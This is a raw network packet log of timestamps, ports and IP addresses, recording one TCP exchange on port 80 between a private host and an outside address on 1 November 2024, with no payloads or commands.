Nov 1, 2024 12:14:39.117208004 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117224932 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117239952 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117239952 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117252111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117258072 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117263079 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117268085 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117273092 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117279053 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117290020 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117301941 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117328882 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117362022 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117391109 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117400885 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117410898 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117424011 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117434978 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117444992 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117460966 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117486000 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117722034 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117734909 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117763042 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117774010 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117775917 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117795944 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117806911 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117820978 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117825985 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117825985 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117863894 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117882967 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117908955 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117927074 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117939949 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117940903 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117954016 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117969990 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117974997 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117984056 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.117995024 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.117995024 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118007898 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118010044 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118021965 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118035078 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118036985 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118046999 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118052006 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118089914 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118091106 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118094921 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118133068 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118151903 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118153095 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118174076 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118191004 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118191004 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118215084 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118218899 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118237972 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118278027 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118278027 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118283987 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118307114 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118318081 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118339062 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118351936 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118371964 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118428946 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118441105 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118453026 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118465900 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118496895 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118496895 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118519068 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118531942 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118535995 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118544102 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118556976 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118578911 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118578911 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118592978 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118609905 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118613005 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118634939 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118649006 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118753910 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118763924 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118769884 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118850946 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118863106 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118876934 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118887901 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118900061 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118912935 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118916988 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118928909 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118944883 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118957996 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118959904 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.118971109 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.118983030 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119003057 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119003057 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119013071 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119025946 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119038105 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119050980 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119056940 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119056940 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119069099 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119088888 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119090080 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119102001 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119110107 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119131088 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119146109 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119154930 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119154930 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119158983 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119195938 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119199038 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119211912 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119215012 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119224072 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119236946 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119239092 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119276047 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119276047 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119358063 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119370937 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119384050 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119396925 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.119417906 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119427919 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.119455099 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.149038076 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149148941 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149167061 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.149192095 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.149202108 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149235964 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149249077 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.149275064 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149277925 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.149312973 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149348974 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149359941 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.149359941 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.149389982 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.149398088 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149418116 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149432898 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149451017 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149456024 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.149466991 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149477005 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.149485111 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149498940 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.149507999 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149527073 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149543047 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149552107 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.149552107 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.149559975 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.149617910 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.149617910 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227226973 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227266073 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227282047 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227300882 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227322102 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227325916 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227325916 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227338076 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227365017 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227376938 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227376938 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227376938 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227391958 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227392912 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227407932 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227415085 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227422953 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227432013 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227442980 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227459908 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227466106 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227474928 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227499008 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227510929 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227516890 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227524996 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227539062 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227551937 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227552891 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227566957 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227581024 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227591991 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227591991 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227617025 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227626085 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227643013 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227655888 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227658033 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227667093 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227688074 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227698088 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227699995 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227719069 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227732897 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227739096 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227739096 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227746964 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227756023 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227775097 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227786064 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227793932 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227801085 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227816105 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227823973 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227828979 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227842093 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227844954 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227857113 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227864027 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227864027 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227870941 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227876902 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227876902 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227885008 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227931976 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227943897 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227956057 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227963924 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.227967978 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227982044 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.227994919 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228007078 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228039980 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228039980 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228049040 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228056908 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228069067 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228082895 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228094101 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228095055 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228107929 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228108883 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228117943 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228142023 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228157043 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228199959 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228213072 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228224993 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228235960 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228238106 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228250027 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228270054 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228270054 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228283882 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228291988 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228296995 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228306055 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228310108 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228322983 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228331089 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228331089 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228334904 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228348017 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228348017 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228360891 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228369951 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228374958 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228390932 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228404999 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228430033 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228430986 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228441000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228452921 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228471041 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228483915 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228497028 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228496075 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228497028 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228513956 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228527069 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228527069 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228550911 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228560925 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228560925 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228565931 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228581905 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228591919 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228595018 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228609085 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228619099 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228619099 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228621006 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228635073 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228641033 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228648901 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228662968 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228676081 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228689909 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228689909 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228689909 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228707075 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228739977 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228884935 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228899002 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.228933096 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.228955984 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.229059935 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229091883 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229104996 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229118109 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229127884 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.229127884 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.229130983 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229135990 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.229146004 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229157925 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229160070 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.229171038 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229183912 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229185104 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.229201078 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229204893 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.229214907 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229228973 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229233980 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.229243994 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229257107 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229269028 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:39.229274988 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:39.229274988 CET	49979	80	192.168.2.7	185.215.113.16
